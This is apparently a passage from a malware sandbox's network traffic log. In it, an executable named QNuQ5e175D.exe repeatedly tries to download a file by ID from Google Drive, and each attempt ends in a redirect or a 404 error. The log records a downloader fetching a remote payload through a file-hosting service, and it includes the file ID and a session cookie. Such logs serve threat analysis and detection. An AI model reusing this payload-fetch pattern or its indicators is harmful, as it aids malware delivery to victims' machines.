2025-01-11 04:06:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:15 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Es92XkzhPgPMUc8hiVwieQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49967	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:15 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:16 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7JEAIPbmccGRSwlVWxNwGKC6XqexVsmKDyq-rgsnb_abHBlULabqVh6k3AmwR_RTrS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:16 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bUluizeK6fEkl6dlI3XOyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:16 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 47 37 41 75 71 72 79 46 73 4b 4c 64 50 52 61 59 57 6a 41 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3G7AuqryFsKLdPRaYWjAKA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49976	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:17 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:17 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:17 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-kJ8lW33AbP6o1pPhEowUEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49984	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:18 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:18 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTQHPwfdBnfp-ztXYWzOxnM-hVeXmULAkfoaZfLc1V0Q-ePf4sh-8C4f5fe4qtqryI7tZl_S_8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:18 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-Mu3T3IN1Ve0YN77zcErTHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:18 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 69 42 52 37 6c 79 36 74 4e 52 39 35 38 61 71 2d 62 65 55 53 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kiBR7ly6tNR958aq-beUSA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49990	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:19 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:19 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:19 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-SM5jJZkLMT-lW_Qj5GpJFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49996	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:20 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:20 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRPc2edr0MeDBTSTsYrturhPAcPn9kUJhIQjYTunpBjZ-66fhx8cClLbHVS7oV4oA_XeQyqBuY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:20 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-5UbIlpXEUUaJdiC3T6yoyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:20 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 56 37 36 35 4f 57 77 48 6a 30 57 2d 64 49 2d 6d 64 37 78 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YV765OWwHj0W-dI-md7xuQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49997	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:21 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:21 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Do7OH4UsDVXExjrIIGxbZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49998	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:22 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:23 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTe8q5Xf09XMaNgsioVGNXw6ve2IKa3hpDmCVd6qYG9X3zlvKTbU4PKMfkK1C3mH87u Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:23 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-yVMzFqr-45LlEoaaWKUESw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 7a 7a 59 52 70 39 52 6d 6f 76 43 55 6f 7a 31 30 7a 36 48 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9zzYRp9RmovCUoz10z6HcQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49999	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:23 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
